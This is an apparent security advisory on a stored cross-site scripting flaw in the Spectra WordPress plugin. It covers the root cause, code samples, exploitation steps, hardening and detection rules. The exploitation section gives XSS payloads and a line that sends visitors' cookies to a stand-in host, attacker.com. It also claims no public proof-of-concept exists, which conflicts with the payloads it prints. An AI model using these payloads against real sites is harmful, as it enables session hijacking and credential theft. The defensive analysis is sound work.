CVE-2025-1784

Executive Summary

CVE-2025-1784 is a Stored Cross-Site Scripting (XSS) vulnerability in the Spectra – WordPress Gutenberg Blocks plugin (versions up to and including 2.19.0). The flaw resides in the uagb block, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute when any user accesses the compromised page, leading to potential session hijacking, data theft, or defacement. The vulnerability has a CVSS score of 6.4 (Medium) and is currently unpatched. No public exploit code or proof-of-concept is available, but the risk is elevated due to the widespread use of the Spectra plugin in WordPress ecosystems.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The Spectra plugin is distributed via the official WordPress plugin repository and is a popular Gutenberg block library. Users should verify the integrity of their plugin files and monitor for updates from the vendor. No supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors exploiting this in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level access)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability requires authentication but is trivial to exploit once access is obtained. The stored XSS can affect all site visitors, including administrators, leading to privilege escalation or data exfiltration.

Deep Dive & Mechanics

The vulnerability exists in the uagb block of the Spectra plugin. The block processes user-supplied data (e.g., block attributes, content) without proper sanitization or escaping. When a Contributor-level user creates or edits a page using the vulnerable block, they can inject malicious JavaScript code. This code is stored in the WordPress database and rendered on the frontend without proper encoding, causing it to execute in the browser of any user viewing the page.

Root Cause: The plugin fails to use WordPress's built-in escaping functions (e.g., esc_html(), wp_kses_post()) on user input before outputting it in the block's HTML. This allows arbitrary HTML and JavaScript to be injected.

Attack Flow:

1. Attacker authenticates with Contributor-level privileges.
2. Attacker creates a new page or post and inserts the uagb block.
3. Attacker injects malicious JavaScript into a block attribute (e.g., className, content).
4. The script is stored in the database.
5. When any user (including admins) visits the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.19.0):

// In the block render callback
$output = '<div class="' . $attributes['className'] . '">' . $content . '</div>';
echo $output;

The $attributes['className'] and $content are not escaped, allowing XSS.

Patched Code (hypothetical):

$safe_class = esc_attr($attributes['className']);
$safe_content = wp_kses_post($content);
$output = '<div class="' . $safe_class . '">' . $safe_content . '</div>';
echo $output;

Proper escaping functions prevent script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Spectra plugin <= 2.19.0
• Contributor-level account credentials

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new page.
3. Add the uagb block.
4. In the block's "Additional CSS Class(es)" field, inject:

   " onfocus="alert('XSS')" autofocus="
   

   Or in a text field:

   <img src=x onerror=alert(document.cookie)>
   

5. Publish the page.
6. Any user visiting the page will trigger the XSS.

Proof-of-Concept (PoC):

// JavaScript payload to steal cookies
fetch('https://attacker.com/steal?cookie=' + document.cookie);

Blue Team (Detection & Hardening)

Detection:

• Monitor for pages created by Contributor-level users containing suspicious HTML attributes.
• Use Web Application Firewall (WAF) rules to block common XSS patterns in block attributes.

Hardening:

• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Disable the vulnerable block if not needed.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/spectra/ (check for modified files)
• Database: Look for posts/pages with post_content containing <script> tags or event handlers (e.g., onerror, onfocus).
• Network: Outbound requests to attacker-controlled domains from the WordPress server.
• Logs: WordPress debug logs showing unexpected HTML in block attributes.

Detection Engineering

YARA Rule

rule CVE_2025_1784_Spectra_XSS {
    meta:
        description = "Detects Spectra plugin files vulnerable to CVE-2025-1784"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1784"
    strings:
        $vuln_func = /echo\s*\$output\s*;/ nocase
        $unsafe_class = /\$attributes\['className'\]/ nocase
    condition:
        $vuln_func and $unsafe_class
}

Sigma Rule

title: CVE-2025-1784 Spectra Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential exploitation of CVE-2025-1784 via stored XSS in WordPress pages
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.response.body|contains:
            - 'onerror='
            - 'onfocus='
            - 'onload='
            - '<script>'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-1784 Spectra Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"uagb"; http_client_body; pcre:"/(onerror|onfocus|onload|script)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Spectra plugin until a patch is available.
2. Restrict Contributor-level accounts to only trusted users.
3. Implement a Web Application Firewall (WAF) with rules to block XSS payloads in block attributes.

Long-term Fix:

• Monitor the Spectra plugin repository for an update (version > 2.19.0).
• Apply the patch as soon as it is released.
• Consider switching to an alternative Gutenberg block plugin if the vendor does not respond.

Workaround:

• Use a security plugin (e.g., Wordfence) to block XSS attempts.
• Manually patch the vulnerable file by adding escaping functions (see Patched Code section).

Valters IT
Securing Digital Frontiers